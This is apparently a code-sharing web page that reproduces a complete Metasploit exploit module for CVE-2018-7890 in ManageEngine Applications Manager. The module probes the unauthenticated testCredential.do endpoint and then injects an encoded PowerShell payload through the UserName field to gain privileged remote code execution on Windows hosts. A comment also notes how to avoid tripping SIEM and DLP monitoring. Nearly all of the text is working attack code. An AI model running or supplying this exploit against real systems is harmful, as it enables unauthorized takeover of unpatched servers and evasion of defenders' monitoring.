扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell def initialize(info={}) super(update_info(info, 'Name' => "ManageEngine Applications Manager Remote Code Execution", 'Description'=> %q{ This module exploits command injection vulnerability in the ManageEngine Application Manager product. An unauthenticated user can execute a operating system command under the context of privileged user. Publicly accessible testCredential.do endpoint takes multiple user inputs and validates supplied credentials by accessing given system. This endpoint calls a several internal classes and then executes powershell script without validating user supplied parameter when the given system is OfficeSharePointServer. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module ], 'References' => [ ['CVE', '2018-7890'], ['URL', 'https://pentest.blog/advisory-manageengine-applications-manager-remote-code-execution-sqli-and/'] ], 'DefaultOptions'=> { 'WfsDelay' => 10, 'RPORT' => 9090 }, 'Payload' => { 'BadChars' => "\x22" }, 'Platform' => ['win'], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Targets' => [ ['Automatic', {}] ], 'Privileged' => true, 'DisclosureDate' => 'Mar 7 2018', 'DefaultTarget'=> 0 )) register_options( [ OptString.new('TARGETURI', [true, 'The URI of the application', '/']) ] ) end def check res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'testCredential.do'), 'vars_post' => { 'method' => 'testCredentialForConfMonitors', 'type' => 'OfficeSharePointServer', 'montype' => 'OfficeSharePointServer', 'isAgentEnabled' => 'NO', 'isAgentAssociated' => 'false', 'displayname' => Rex::Text.rand_text_alpha(10), 'HostName' => '127.0.0.1', # Try to access random IP address or domain may trigger SIEMs or DLP systems... 'Version' => '2013', 'Powershell' => 'True', # :-) 'CredSSP' => 'False', 'SPType' => 'SPServer', 'CredentialDetails' => 'nocm', 'Password' => Rex::Text.rand_text_alpha(3), 'UserName' => Rex::Text.rand_text_alpha(3) } }) if res && res.body.include?('Kindly check the credentials and try again') Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end def exploit powershell_options = { encode_final_payload: true, remove_comspec: true } p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options) print_status('Triggering the vulnerability') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'testCredential.do'), 'vars_post' => { 'method' => 'testCredentialForConfMonitors', 'type' => 'OfficeSharePointServer', 'montype' => 'OfficeSharePointServer', 'isAgentEnabled' => 'NO', 'isAgentAssociated' => 'false', 'displayname' => Rex::Text.rand_text_alpha(10), 'HostName' => '127.0.0.1', # Try to access random IP address or domain may trigger SIEMs or DLP systems... 'Version' => '2013', 'Powershell' => 'True', # :-) 'CredSSP' => 'False', 'SPType' => 'SPServer', 'CredentialDetails' => 'nocm', 'Password' => Rex::Text.rand_text_alpha(3), 'UserName' => "$(#{p})" } }) end end |
体验盒子
